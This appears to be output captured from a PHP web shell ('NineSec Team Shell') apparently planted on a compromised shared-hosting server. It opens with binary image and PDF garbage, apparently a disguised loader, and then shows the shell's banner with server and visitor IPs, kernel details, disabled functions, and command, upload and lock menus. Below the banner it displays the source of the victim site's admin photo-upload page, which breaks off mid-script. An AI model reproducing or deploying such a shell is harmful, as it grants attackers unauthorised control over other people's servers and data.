JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/pinkrosesentertainment.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/pinkrosesentertainment.com/public_html/update_achievement.php
<?php
session_start();
if (!isset($_SESSION['admin_logged_in'])) {
    header("Location: login.php");
    exit;
}
?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Photo Upload Form</title>
    <script src="https://unpkg.com/lucide@latest/dist/umd/lucide.min.js"></script>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap" rel="stylesheet">
    <style>
        :root {
            --color-slate-50: #f8fafc;
            --color-slate-300: #cbd5e1;
            --color-slate-400: #94a3b8;
            --color-slate-500: #64748b;
            /* Added for general text */
            --color-slate-700: #334155;
            --color-slate-800: #1e293b;
            --color-slate-900: #0f172a;
            /* Main background */
            --color-slate-950: #020617;
            /* Darker background */
            --color-gray-50: #f9fafb;
            --color-gray-100: #f3f4f6;
            --color-gray-200: #e5e7eb;
            --color-gray-700: #374151;
            --color-gray-800: #1f2937;
            --color-gray-900: #111827;

            --color-pink-300: #fbcfe8;
            --color-pink-500: #ec4899;
            --color-pink-accent-dark: #fda4af;
            /* Lighter pink for dark mode active */

            --color-blue-400: #60a5fa;
            --color-blue-500: #3b82f6;
            --color-green-500: #22c55e;
            --color-yellow-500: #eab308;
            --color-purple-500: #a855f7;
            --color-red-400: #f87171;
            --color-red-500: #ef4444;
            --color-red-600: #dc2626;
            --color-red-900: #7f1d1d;
            --color-indigo-600: #4f46e5;
            --color-indigo-900: #312e81;

            --shadow-md: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06);
            --shadow-lg: 0 10px 15px -3px rgba(0, 0, 0, 0.1), 0 4px 6px -2px rgba(0, 0, 0, 0.05);
            --shadow-xl: 0 20px 25px -5px rgba(0, 0, 0, 0.1), 0 10px 10px -5px rgba(0, 0, 0, 0.04);
            --transition-duration: 300ms;
            --border-radius-sm: 0.25rem;
            /* rounded-md */
            --border-radius-lg: 0.5rem;
            /* rounded-lg */
            --border-radius-xl: 0.75rem;
            /* rounded-xl */
            --border-radius-full: 9999px;
            /* rounded-full */
        }

        /* Custom scrollbar for better aesthetics */
        ::-webkit-scrollbar {
            width: 8px;
            height: 8px;
        }

        ::-webkit-scrollbar-track {
            background: var(--color-slate-800);
        }

        ::-webkit-scrollbar-thumb {
            background: var(--color-slate-700);
            border-radius: 4px;
        }

        ::-webkit-scrollbar-thumb:hover {
            background: var(--color-slate-600);
        }

        /* Set Inter font */
        body {
            font-family: 'Inter', sans-serif;
            margin: 0;
            padding: 0;
            -webkit-font-smoothing: antialiased;
            -moz-osx-font-smoothing: grayscale;
        }

        /* Root container */
        #root {
            display: flex;
            min-height: 100vh;
            /* Use min-height to allow content to expand */
            background-color: var(--color-gray-100);
            color: var(--color-gray-900);
            transition: background-color var(--transition-duration), color var(--transition-duration);
        }

        /* Dark Mode styles */
        html.dark body {
            background-color: var(--color-slate-950);
            color: var(--color-slate-50);
        }

        html.dark #root {
            background-color: var(--color-slate-950);
        }

        html.dark .bg-gray-100 {
            background-color: var(--color-slate-950);
        }

        html.dark .bg-gray-200 {
            background-color: var(--color-slate-800);
        }

        html.dark .bg-white {
            background-color: var(--color-slate-800);
        }

        html.dark .bg-gray-800 {
            background-color: var(--color-slate-900);
        }

        /* Sidebar background */
        html.dark .bg-gray-900 {
            background-color: var(--color-slate-950);
        }

        html.dark .text-gray-900 {
            color: var(--color-slate-50);
        }

        html.dark .text-gray-700 {
            color: var(--color-slate-300);
        }

        html.dark .text-gray-500 {
            color: var(--color-slate-400);
        }

        html.dark .shadow-md {
            box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.2), 0 2px 4px -1px rgba(0, 0, 0, 0.12);
        }

        html.dark .border-gray-200 {
            border-color: var(--color-slate-700);
        }

        /* Sidebar styles */
        #sidebar {
            position: fixed;
            top: 0;
            left: 0;
            bottom: 0;
            width: 16rem;
            /* w-64 */
            background-color: var(--color-gray-800);
            color: white;
            display: flex;
            flex-direction: column;
            padding: 1rem;
            /* p-4 */
            box-shadow: var(--shadow-lg);
            transform: translateX(-100%);
            transition: transform var(--transition-duration) ease-in-out;
            z-index: 30;
            border-top-right-radius: var(--border-radius-xl);
            border-bottom-right-radius: var(--border-radius-xl);
        }

        #sidebar.sidebar-open {
            transform: translateX(0);
        }

        #sidebar .logo-container {
            display: flex;
            align-items: center;
            justify-content: center;
            height: 4rem;
            /* h-16 */
            margin-bottom: 1.5rem;
            /* mb-6 */
        }

        #sidebar .logo-container img {
            width: 2.5rem;
            /* w-10 */
            height: 2.5rem;
            /* h-10 */
            border-radius: var(--border-radius-full);
            margin-right: 0.75rem;
            /* mr-3 */
            border: 2px solid var(--color-pink-300);
            box-shadow: var(--shadow-md);
        }

        #sidebar .logo-container h1 {
            font-size: 1.5rem;
            /* text-2xl */
            font-weight: 700;
            /* font-bold */
            color: var(--color-pink-300);
            letter-spacing: -0.025em;
            /* tracking-wider */
        }

        #sidebar nav {
            flex: 1;
            /* flex-1 */
            margin-top: 0.5rem;
            /* space-y-2 */
        }

        #sidebar .nav-item {
            display: flex;
            align-items: center;
            padding: 0.75rem 1rem;
            /* px-4 py-3 */
            font-size: 1.125rem;
            /* text-lg */
            font-weight: 500;
            /* font-medium */
            border-radius: var(--border-radius-lg);
            color: white;
            text-decoration: none;
            transition: background-color var(--transition-duration), box-shadow var(--transition-duration), color var(--transition-duration);
            margin-bottom: 0.5rem;
        }

        #sidebar .nav-item:hover {
            background-color: var(--color-gray-700);
        }

        #sidebar .nav-item:focus {
            outline: none;
            box-shadow: 0 0 0 2px var(--color-pink-500);
        }

        #sidebar .nav-item i {
            width: 1.5rem;
            /* w-6 */
            height: 1.5rem;
            /* h-6 */
            margin-right: 0.75rem;
            /* mr-3 */
            color: white;
            /* Default icon color */
        }

        /* Active navigation item styling */
        .active-nav-item {
            background-color: var(--color-gray-100);
            color: var(--color-pink-500);
            box-shadow: var(--shadow-md);
        }

        .active-nav-item i {
            color: var(--color-pink-500);
        }

        html.dark .active-nav-item {
            background-color: var(--color-slate-700);
            color: var(--color-pink-accent-dark);
            box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.2), 0 2px 4px -1px rgba(0, 0, 0, 0.12);
        }

        html.dark .active-nav-item i {
            color: var(--color-pink-accent-dark);
        }

        /* Logout button */
        #sidebar .logout-container {
            margin-top: auto;
            /* mt-auto */
            padding-top: 1.5rem;
            /* pt-6 */
            border-top: 1px solid var(--color-gray-700);
        }

        #sidebar .logout-container a {
            color: var(--color-red-400);
        }

        #sidebar .logout-container a:focus {
            box-shadow: 0 0 0 2px var(--color-red-500);
        }

        /* Main Content Area */
        .main-content-area {
            flex: 1;
            /* flex-1 */
            display: flex;
            /* flex-direction: column; */
            justify-content: center;
            margin-left: 0;
            /* Default mobile margin */
            overflow: hidden;
            transition: margin-left var(--transition-duration) ease-in-out;
        }

        /* Header styles */
        header {
            background-color: white;
            padding: 1rem;
            /* p-4 */
            display: flex;
            align-items: center;
            justify-content: space-between;
            margin-left: 0;
            box-shadow: var(--shadow-md);
            border-bottom-left-radius: var(--border-radius-xl);
            border-bottom-right-radius: var(--border-radius-xl);
            z-index: 20;
        }

        #sidebar-toggle {
            display: block;
            /* md:hidden equivalent for mobile */
            padding: 0.5rem;
            /* p-2 */
            border-radius: var(--border-radius-lg);
            color: var(--color-gray-700);
            background-color: transparent;
            border: none;
            cursor: pointer;
            transition: background-color var(--transition-duration);
        }

        #sidebar-toggle:hover {
            background-color: var(--color-gray-200);
        }

        #sidebar-toggle:focus {
            outline: none;
            box-shadow: 0 0 0 2px var(--color-pink-500);
        }

        #page-title {
            font-size: 1.875rem;
            /* text-3xl */
            font-weight: 800;
            /* font-extrabold */
            color: var(--color-gray-800);
            letter-spacing: -0.025em;
            /* tracking-tight */
        }

        .user-profile-notifications {
            display: flex;
            align-items: center;
            gap: 1rem;
            /* space-x-4 */
        }

        .user-profile-notifications button {
            padding: 0.5rem;
            /* p-2 */
            border-radius: var(--border-radius-lg);
            color: var(--color-gray-700);
            background-color: transparent;
            border: none;
            cursor: pointer;
            transition: background-color var(--transition-duration);
        }

        .user-profile-notifications button:hover {
            background-color: var(--color-gray-200);
        }

        .user-profile-notifications button:focus {
            outline: none;
            box-shadow: 0 0 0 2px var(--color-pink-500);
        }

        .user-profile-dropdown {
            position: relative;
            display: inline-block;
            /* group */
        }

        .user-profile-dropdown>img {
            width: 2.5rem;
            /* w-10 */
            height: 2.5rem;
            /* h-10 */
            border-radius: var(--border-radius-full);
            cursor: pointer;
            border: 2px solid var(--color-blue-400);
            box-shadow: 0 1px 2px 0 rgba(0, 0, 0, 0.05);
            /* shadow-sm */
        }

        .user-profile-dropdown .dropdown-content {
            position: absolute;
            right: 0;
            margin-top: 0.5rem;
            /* mt-2 */
            width: 12rem;
            /* w-48 */
            background-color: white;
            border-radius: var(--border-radius-md);
            box-shadow: var(--shadow-lg);
            padding: 0.5rem 0;
            /* py-2 */
            display: none;
            /* hidden */
            transition: all var(--transition-duration) ease-in-out;
            opacity: 0;
            transform: translateY(-0.5rem);
        }

        .user-profile-dropdown:hover .dropdown-content {
            display: block;
            opacity: 1;
            transform: translateY(0);
        }

        .user-profile-dropdown .dropdown-content a {
            display: block;
            padding: 0.5rem 1rem;
            /* px-4 py-2 */
            color: var(--color-gray-700);
            text-decoration: none;
            border-radius: var(--border-radius-md);
        }

        .user-profile-dropdown .dropdown-content a:hover {
            background-color: var(--color-gray-100);
        }

        .user-profile-dropdown .dropdown-content .divider {
            border-top: 1px solid var(--color-gray-200);
            margin: 0.25rem 0;
            /* my-1 */
        }

        .user-profile-dropdown .dropdown-content a.logout-link {
            color: var(--color-red-500);
        }


        /* Main content area */
        main {
            flex: 1;
            /* flex-1 */
            overflow-x: hidden;
            overflow-y: auto;
            background-color: var(--color-gray-200);
            padding: 1.5rem;
            /* p-6 */
        }

        /* Section styles */
        .content-section {
            display: none;
            /* hidden by default */
            margin-top: 2rem;
            /* space-y-8 */
            /* Removed fixed margin-left */
        }

        .content-section.active-section {
            display: block;
        }

        .content-section>*:not(:last-child) {
            margin-bottom: 2rem;
            /* Equivalent to space-y-8 */
        }

        .grid-stats {
            display: grid;
            grid-template-columns: 1fr;
            gap: 1.5rem;
            /* gap-6 */
        }

        .stat-card {
            background-color: white;
            padding: 1.5rem;
            /* p-6 */
            border-radius: var(--border-radius-xl);
            box-shadow: var(--shadow-lg);
            border: 1px solid var(--color-gray-200);
            transition: box-shadow var(--transition-duration);
        }

        .stat-card:hover {
            box-shadow: var(--shadow-xl);
        }

        .stat-card-header {
            display: flex;
            align-items: center;
            justify-content: space-between;
            margin-bottom: 1rem;
            /* mb-4 */
        }

        .stat-card-header h3 {
            font-size: 1.125rem;
            /* text-lg */
            font-weight: 600;
            /* font-semibold */
            color: var(--color-gray-700);
        }

        .stat-card-header i {
            width: 2rem;
            /* w-8 */
            height: 2rem;
            /* h-8 */
        }

        .stat-card p:first-of-type {
            /* The large number */
            font-size: 2.25rem;
            /* text-4xl */
            font-weight: 700;
            /* font-bold */
            color: var(--color-gray-900);
        }

        .stat-card p:last-of-type {
            /* The smaller text below number */
            font-size: 0.875rem;
            /* text-sm */
            color: var(--color-gray-500);
            margin-top: 0.5rem;
            /* mt-2 */
        }

        /* Specific icon colors */
        .stat-card-blue i {
            color: var(--color-blue-500);
        }

        .stat-card-green i {
            color: var(--color-green-500);
        }

        .stat-card-yellow i {
            color: var(--color-yellow-500);
        }

        .stat-card-purple i {
            color: var(--color-purple-500);
        }

        .activity-card,
        .chart-card {
            background-color: white;
            padding: 1.5rem;
            /* p-6 */
            border-radius: var(--border-radius-xl);
            box-shadow: var(--shadow-lg);
            border: 1px solid var(--color-gray-200);
        }

        .activity-card h3,
        .chart-card h3 {
            font-size: 1.25rem;
            /* text-xl */
            font-weight: 700;
            /* font-bold */
            color: var(--color-gray-800);
            margin-bottom: 1rem;
            /* mb-4 */
        }

        .activity-card ul {
            list-style: none;
            padding: 0;
            margin: 0;
        }

        .activity-card ul li {
            display: flex;
            align-items: center;
            color: var(--color-gray-700);
            margin-bottom: 1rem;
            /* space-y-4 */
        }

        .activity-card ul li:last-child {
            margin-bottom: 0;
        }

        .activity-card ul li span:first-of-type {
            /* color dot */
            display: inline-block;
            width: 0.75rem;
            /* w-3 */
            height: 0.75rem;
            /* h-3 */
            border-radius: var(--border-radius-full);
            margin-right: 0.75rem;
            /* mr-3 */
        }

        .activity-card ul li .activity-text {
            color: var(--color-gray-900);
            font-weight: 600;
            /* font-semibold */
            margin-left: 0.25rem;
            /* ml-1 */
        }

        .activity-card ul li .activity-time {
            color: var(--color-gray-500);
            font-size: 0.875rem;
            /* text-sm */
            margin-left: auto;
            /* ml-auto */
        }

        .activity-card ul li .bg-green-500 {
            background-color: var(--color-green-500);
        }

        .activity-card ul li .bg-blue-500 {
            background-color: var(--color-blue-500);
        }

        .activity-card ul li .bg-yellow-500 {
            background-color: var(--color-yellow-500);
        }

        .activity-card ul li .bg-red-500 {
            background-color: var(--color-red-500);
        }

        .activity-card ul li .bg-purple-500 {
            background-color: var(--color-purple-500);
        }


        .chart-placeholder {
            color: var(--color-gray-700);
            height: 8rem;
            /* h-32 */
            display: flex;
            align-items: center;
            justify-content: center;
            background-color: var(--color-gray-100);
            border-radius: var(--border-radius-lg);
            border: 1px dashed var(--color-gray-300);
        }

        .chart-placeholder p {
            color: var(--color-gray-500);
        }

        .top-content-views ul {
            list-style: none;
            padding: 0;
            margin: 0;
            margin-top: 1.5rem;
            /* mt-6 */
        }

        .top-content-views ul li {
            color: var(--color-gray-700);
            margin-bottom: 0.5rem;
            /* space-y-2 */
            display: flex;
            justify-content: space-between;
            align-items: center;
        }

        .top-content-views ul li span {
            color: var(--color-gray-600);
        }

        /* Table specific styles for the Users section */
        .table-container {
            background-color: white;
            padding: 1.5rem;
            /* p-6 */
            border-radius: var(--border-radius-xl);
            box-shadow: var(--shadow-lg);
            border: 1px solid var(--color-gray-200);
            overflow-x: auto;
            /* For responsive tables */
        }

        .table-container h3 {
            font-size: 1.25rem;
            /* text-xl */
            font-weight: 700;
            /* font-bold */
            color: var(--color-gray-800);
            margin-bottom: 1rem;
            /* mb-4 */
        }

        table {
            width: 100%;
            border-collapse: collapse;
            text-align: left;
            font-size: 0.875rem;
            /* text-sm */
        }

        thead {
            background-color: var(--color-gray-50);
            font-weight: 600;
            color: var(--color-gray-700);
            text-transform: uppercase;
            letter-spacing: 0.05em;
            /* tracking-wider */
        }

        th,
        td {
            padding: 0.75rem 1rem;
            /* px-4 py-3 */
            border-bottom: 1px solid var(--color-gray-200);
            color: var(--color-gray-900);
            vertical-align: middle;
        }

        td img {
            width: 2.5rem;
            /* w-10 */
            height: 2.5rem;
            /* h-10 */
            object-fit: cover;
            border-radius: var(--border-radius-md);
            /* rounded-md */
            border: 1px solid var(--color-gray-200);
        }

        .action a {
            color: var(--color-indigo-600);
            text-decoration: none;
            margin-right: 0.75rem;
            /* mr-3 */
            font-weight: 500;
            transition: color var(--transition-duration);
        }

        .action a:hover {
            color: var(--color-indigo-900);
        }

        .action a.delete-link {
            color: var(--color-red-600);
        }

        .action a.delete-link:hover {
            color: var(--color-red-900);
        }

        html.dark .table-container {
            background-color: var(--color-slate-800);
            border-color: var(--color-slate-700);
        }

        html.dark .table-container h3 {
            color: var(--color-slate-50);
        }

        html.dark thead {
            background-color: var(--color-slate-700);
            color: var(--color-slate-300);
        }

        html.dark th,
        html.dark td {
            border-color: var(--color-slate-700);
            color: var(--color-slate-300);
        }

        html.dark td img {
            border-color: var(--color-slate-700);
        }

        html.dark .action a {
            color: var(--color-blue-400);
        }

        html.dark .action a:hover {
            color: var(--color-blue-500);
        }

        html.dark .action a.delete-link {
            color: var(--color-red-400);
        }

        html.dark .action a.delete-link:hover {
            color: var(--color-red-500);
        }



        /* Responsive adjustments */
        @media (min-width: 768px) {

            /* md breakpoint */
            #sidebar {
                transform: translateX(0);
                /* md:translate-x-0 */
                border-radius: initial;
                /* md:rounded-none */
                position: relative;
                /* Change to relative for desktop to keep it in flow */
            }

            #sidebar-toggle {
                display: none;
                /* md:hidden */
            }

            .main-content-area {
                margin-left: 0rem;
                /* md:ml-64 */
            }

            header {
                border-radius: initial;
                /* md:rounded-none */
            }

            .grid-stats {
                grid-template-columns: repeat(2, 1fr);
                /* md:grid-cols-2 */
            }
        }

        @media (min-width: 1024px) {

            /* lg breakpoint */
            .grid-stats {
                grid-template-columns: repeat(4, 1fr);
                /* lg:grid-cols-4 */
            }

            .grid-activities-charts {
                display: grid;
                /* Added missing display:grid */
                grid-template-columns: repeat(3, 1fr);
                gap: 1.5rem;
                /* Ensure gap for grid */
                /* lg:grid-cols-3 */
            }

            .activity-card {
                grid-column: span 2 / span 2;
                /* lg:col-span-2 */
            }
        }


        @keyframes fadeIn {
            from {
                opacity: 0;
                transform: translateY(20px);
            }

            to {
                opacity: 1;
                transform: translateY(0);
            }
        }

        .form-container {
            background: white;
            border-radius: 12px;
            box-shadow: 0 8px 24px rgba(0, 0, 0, 0.08);
            padding: 30px;
            width: 100%;
            max-width: 800px;
        }

        h1 {
            text-align: center;
            color: #2c3e50;
            margin-bottom: 30px;
            font-weight: 600;
            position: relative;
            padding-bottom: 10px;
        }

        h1::after {
            content: '';
            position: absolute;
            bottom: 0;
            left: 50%;
            transform: translateX(-50%);
            width: 80px;
            height: 4px;
            background: linear-gradient(90deg, #3498db 0%, #2ecc71 100%);
            border-radius: 2px;
        }

        .upload-section {
            margin-bottom: 30px;
        }

        .upload-section h2 {
            color: #34495e;
            font-size: 1.1rem;
            margin-bottom: 15px;
            display: flex;
            align-items: center;
            gap: 8px;
        }

        .upload-section h2 span {
            background: #3498db;
            color: white;
            width: 24px;
            height: 24px;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 14px;
        }

        .upload-area {
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            padding: 20px;
            border: 2px dashed #bdc3c7;
            border-radius: 8px;
            cursor: pointer;
            transition: all 0.3s ease;
            position: relative;
            min-height: 150px;
            background: #f8f9fa;
        }

        .upload-area:hover {
            border-color: #3498db;
            background: rgba(52, 152, 219, 0.05);
        }

        .upload-icon {
            width: 48px;
            height: 48px;
            margin-bottom: 12px;
            color: #3498db;
        }

        .upload-text {
            color: #7f8c8d;
            text-align: center;
            margin-bottom: 8px;
        }

        .browse-btn {
            color: #3498db;
            font-weight: 600;
            text-decoration: none;
        }

        input[type="file"] {
            display: none;
        }

        .preview-container {
            display: flex;
            flex-wrap: wrap;
            gap: 15px;
            margin-top: 15px;
        }

        .preview-item {
            width: 120px;
            height: 120px;
            border-radius: 8px;
            overflow: hidden;
            position: relative;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }

        .preview-item img {
            width: 100%;
            height: 100%;
            object-fit: cover;
        }

        .remove-btn {
            position: absolute;
            top: 5px;
            right: 5px;
            background: rgba(231, 76, 60, 0.9);
            color: white;
            width: 24px;
            height: 24px;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 12px;
            cursor: pointer;
            border: none;
        }

        .submit-btn {
            background: linear-gradient(90deg, #3498db 0%, #2ecc71 100%);
            color: white;
            border: none;
            padding: 12px 30px;
            font-size: 1rem;
            font-weight: 600;
            border-radius: 50px;
            cursor: pointer;
            display: block;
            margin: 40px auto 0;
            transition: all 0.3s ease;
            box-shadow: 0 4px 15px rgba(52, 152, 219, 0.3);
        }

        .submit-btn:hover {
            transform: translateY(-3px);
            box-shadow: 0 8px 20px rgba(52, 152, 219, 0.4);
        }

        @media (max-width: 600px) {
            .form-container {
                padding: 20px;
            }

            .preview-item {
                width: 100px;
                height: 100px;
            }
        }
    </style>
</head>

<body>

    <div id="root">
        <aside id="sidebar">
            <div class="logo-container">
                <img src="https://placehold.co/40x40/FF69B4/FFFFFF?text=PR" alt="Pink Roses Logo">
                <h1>PinkRoses</h1>
            </div>

            <nav>
                <a href="admindashboard.php" class="nav-item">
                    <i data-lucide="layout-dashboard"></i>
                    Dashboard
                </a>
                <a href="update_achievement.php" class="nav-item">
                    <i data-lucide="users"></i>
                    Update Achievement
                </a>

                <a href="manage_achievements.php" data-section="content" class="nav-item">
                    <i data-lucide="film"></i>
                    Manage Achievement
                </a>
                <a href="updates.php" data-section="analytics" class="nav-item">
                    <i data-lucide="camera"></i>
                    Updates
                </a>
                
            </nav>

            <div class="logout-container">
                <a href="logout.php" class="nav-item logout-link">
                    <i data-lucide="log-out"></i>
                    Logout
                </a>
            </div>
        </aside>

        <div class="main-content-area">
            <div class="form-container">
                <h1>Update Achievements</h1>

                <form id="achievementsForm" action="submit_achievement.php" method="POST" enctype="multipart/form-data">
                    <!-- Achievement 1 -->
                    <div class="upload-section">
                        <h2><span>1</span> Achievement Photo</h2>
                        <div class="upload-area" onclick="document.getElementById('achievement1').click()">
                            <svg class="upload-icon" viewBox="0 0 24 24">
                                <path fill="currentColor" d="M19,13H13V19H11V13H5V11H11V5H13V11H19V13M12,2A10,10 0 0,0 2,12A10,10 0 0,0 12,22A10,10 0 0,0 22,12A10,10 0 0,0 12,2Z" />
                            </svg>
                            <p class="upload-text">Drag & drop your photo here or</p>
                            <p class="browse-btn">Browse Files</p>
                            <input type="file" id="achievement1" name="achievement1" accept="image/*" onchange="previewImage(this, 'preview1')">
                        </div>
                        <div class="preview-container" id="preview1"></div>
                    </div>

                    <!-- Achievement 2 -->
                    <div class="upload-section">
                        <h2><span>2</span> Achievement Photo</h2>
                        <div class="upload-area" onclick="document.getElementById('achievement2').click()">
                            <svg class="upload-icon" viewBox="0 0 24 24">
                                <path fill="currentColor" d="M19,13H13V19H11V13H5V11H11V5H13V11H19V13M12,2A10,10 0 0,0 2,12A10,10 0 0,0 12,22A10,10 0 0,0 22,12A10,10 0 0,0 12,2Z" />
                            </svg>
                            <p class="upload-text">Drag & drop your photo here or</p>
                            <p class="browse-btn">Browse Files</p>
                            <input type="file" id="achievement2" name="achievement2" accept="image/*" onchange="previewImage(this, 'preview2')">
                        </div>
                        <div class="preview-container" id="preview2"></div>
                    </div>

                    <!-- Achievement 3 -->
                    <div class="upload-section">
                        <h2><span>3</span> Achievement Photo</h2>
                        <div class="upload-area" onclick="document.getElementById('achievement3').click()">
                            <svg class="upload-icon" viewBox="0 0 24 24">
                                <path fill="currentColor" d="M19,13H13V19H11V13H5V11H11V5H13V11H19V13M12,2A10,10 0 0,0 2,12A10,10 0 0,0 12,22A10,10 0 0,0 22,12A10,10 0 0,0 12,2Z" />
                            </svg>
                            <p class="upload-text">Drag & drop your photo here or</p>
                            <p class="browse-btn">Browse Files</p>
                            <input type="file" id="achievement3" name="achievement3" accept="image/*" onchange="previewImage(this, 'preview3')">
                        </div>
                        <div class="preview-container" id="preview3"></div>
                    </div>

                    <button type="submit" class="submit-btn">Update Achievements</button>
                </form>
            </div>
        </div>
    </div>

    <script>
        // Initialize Lucide icons
        lucide.createIcons();

        const sidebar = document.getElementById('sidebar');
        const sidebarToggle = document.getElementById('sidebar-toggle');
        const navItems = document.querySelectorAll('.nav-item');
        const contentSections = document.querySelectorAll('.content-section');
        const pageTitle = document.getElementById('page-title');
        const mainContent = document.querySelector('.main-content-area');

        // Open sidebar
        const openSidebar = () => {
            sidebar.classList.remove('sidebar-closed');
            sidebar.classList.add('sidebar-open');
        };

        // Close sidebar
        const closeSidebar = () => {
            sidebar.classList.remove('sidebar-open');
            sidebar.classList.add('sidebar-closed');
        };

        // Sidebar toggle button
        sidebarToggle?.addEventListener('click', () => {
            if (sidebar.classList.contains('sidebar-closed')) {
                openSidebar();
            } else {
                closeSidebar();
            }
        });

        // Click outside sidebar on mobile
        document.addEventListener('click', (e) => {
            if (!sidebar.contains(e.target) && !sidebarToggle?.contains(e.target) && window.innerWidth < 768) {
                closeSidebar();
            }
        });


        const inputs = document.querySelectorAll('input[type="file"]');
        const previewContainer = document.getElementById('preview');

        inputs.forEach(input => {
            input.addEventListener('change', (event) => {
                const files = event.target.files;
                previewContainer.innerHTML = ""; // Clear previous previews

                Array.from(files).forEach(file => {
                    const reader = new FileReader();
                    reader.onload = e => {
                        const img = document.createElement('img');
                        img.src = e.target.result;
                        previewContainer.appendChild(img);
                    };
                    reader.readAsDataURL(file);
                });
            });
        });

        // Navigation logic
        navItems.forEach(item => {
            item.addEventListener('click', (e) => {
                const href = item.getAttribute('href');

                // Only prevent default if it's a section/tab link
                if (href === '#') {
                    e.preventDefault();

                    navItems.forEach(nav => nav.classList.remove('active-nav-item'));
                    item.classList.add('active-nav-item');

                    const targetSectionId = item.getAttribute('data-section') + '-section';
                    contentSections.forEach(section => section.classList.remove('active-section'));

                    const targetSection = document.getElementById(targetSectionId);
                    if (targetSection) {
                        targetSection.classList.add('active-section');
                        pageTitle.textContent = item.textContent.trim() + ' Overview';
                    }

                    if (window.innerWidth < 768) closeSidebar();
                }
            });
        });

        // Set default section on load
        document.addEventListener('DOMContentLoaded', () => {
            const defaultNavItem = document.querySelector('.nav-item[data-section="dashboard"]');
            const defaultSection = document.getElementById('dashboard-section');

            defaultNavItem?.classList.add('active-nav-item');
            defaultSection?.classList.add('active-section');
            // pageTitle.textContent = 'Dashboard Overview';

            adjustMainContentMargin();
        });

        // Adjust layout on resize
        const adjustMainContentMargin = () => {
            if (!mainContent) return;

            if (window.innerWidth >= 768) {
                mainContent.style.marginLeft = '0rem'; // 256px
                openSidebar();
            } else {
                mainContent.style.marginLeft = '0';
                closeSidebar();
            }
        };

        window.addEventListener('resize', adjustMainContentMargin);




        function previewImage(input, previewId) {
            const previewContainer = document.getElementById(previewId);
            previewContainer.innerHTML = '';

            if (input.files && input.files[0]) {
                const reader = new FileReader();

                reader.onload = function(e) {
                    const previewItem = document.createElement('div');
                    previewItem.className = 'preview-item';

                    const img = document.createElement('img');
                    img.src = e.target.result;

                    const removeBtn = document.createElement('button');
                    removeBtn.className = 'remove-btn';
                    removeBtn.innerHTML = '×';
                    removeBtn.onclick = function() {
                        previewContainer.removeChild(previewItem);
                        input.value = '';
                    };

                    previewItem.appendChild(img);
                    previewItem.appendChild(removeBtn);
                    previewContainer.appendChild(previewItem);
                }

                reader.readAsDataURL(input.files[0]);
            }
        }

        // Handle form submission
        // document.getElementById('achievementsForm').addEventListener('submit', function(e) {
        //     e.preventDefault();

        //     // Get all selected files
        //     const achievement1 = document.getElementById('achievement1').files[0];
        //     const achievement2 = document.getElementById('achievement2').files[0];
        //     const achievement3 = document.getElementById('achievement3').files[0];

        //     // Here you would normally upload the files to your server
        //     console.log('Achievement photos to upload:', {
        //         achievement1: achievement1 ? achievement1.name : 'Not selected',
        //         achievement2: achievement2 ? achievement2.name : 'Not selected',
        //         achievement3: achievement3 ? achievement3.name : 'Not selected'
        //     });

        //     alert('Achievement photos submitted successfully! (Check console for details)');
        // });

        // Add drag and drop functionality
        const uploadAreas = document.querySelectorAll('.upload-area');

        uploadAreas.forEach(area => {
